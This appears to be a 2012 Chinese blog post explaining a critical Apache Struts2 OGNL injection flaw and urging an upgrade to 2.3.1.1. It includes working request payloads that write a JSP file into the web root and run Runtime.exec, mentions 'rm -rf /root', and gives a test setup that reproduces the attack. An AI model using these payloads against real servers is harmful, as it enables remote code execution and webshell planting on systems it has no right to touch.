刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址
https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
还是热乎的,我大概白话一下。
这个漏洞的级别很高,都升级修补一下。
影响版本是2.3.1和2.3.1之前的版本
解决办法是升级2.3.1.1
漏洞原理(自己理解的)
Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。
例如
处理请求配置这样
<action name="Test" class="example.Test">
<result name="input">test.jsp</result>
</action>
通过ONGL就可以转换成
/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’
oh!god!系统权限就有了,想干什么,就可以干什么了。
或者这样
/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’
想执行什么就可以执行什么了。比如 rm –rf /root..
我根据说明做了一下测试
jdk:1.6
struts:2.2.1
代码如下:
struts.xml
1:<?xmlversion="1.0"encoding="UTF-8" ?>
2:<!DOCTYPEstrutsPUBLIC
3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
4:"http://struts.apache.org/dtds/struts-2.0.dtd">
5:<struts>
6:<packagename="default"namespace="/"extends="struts-default">
7:<actionname="test"class="me.dapeng.action.Test">
8:<resultname="input">test.jsp</result>
9:</action>
10:</package>
11:</struts>
Test.java
1:package me.dapeng.action;
2:
3:import com.opensymphony.xwork2.ActionSupport;
4:
5:/**
6: *
7: * @ClassName:Test.java.java
8: * @ClassDescription:测试Struts2漏洞
9: * @Author:dapeng
10: * @CreatTime:2012-1-9 下午1:45:36
11: *
12: */
13:publicclass Test extends ActionSupport {
14:long id;
15:
16: @Override
17:public String execute() throws Exception {
18: System.out.println("execute input");
19:return"input";
20: }
21:
22:publiclong getId() {
23:return id;
24: }
25:
26:publicvoid setId(long id) {
27:this.id = id;
28: }
29:
30: }
test.jsp
1: <%@ page language="java"import="java.util.*" pageEncoding="ISO-8859-1"%>
2: <%@ taglib prefix="s" uri="/struts-tags"%>
3: <br>
4: <s:property value="id" />
请求URL
结果:
通过URL产生了自定义的文件,如果你想执行什么脚本都可以了。
我也值测试了其中一种情况,其他的漏洞测试就不做了,没升级到安全版本的,赶紧升级吧!最近的安全问题很多的,别等出了安全问题,再想办法,亡羊补牢,为时已晚已!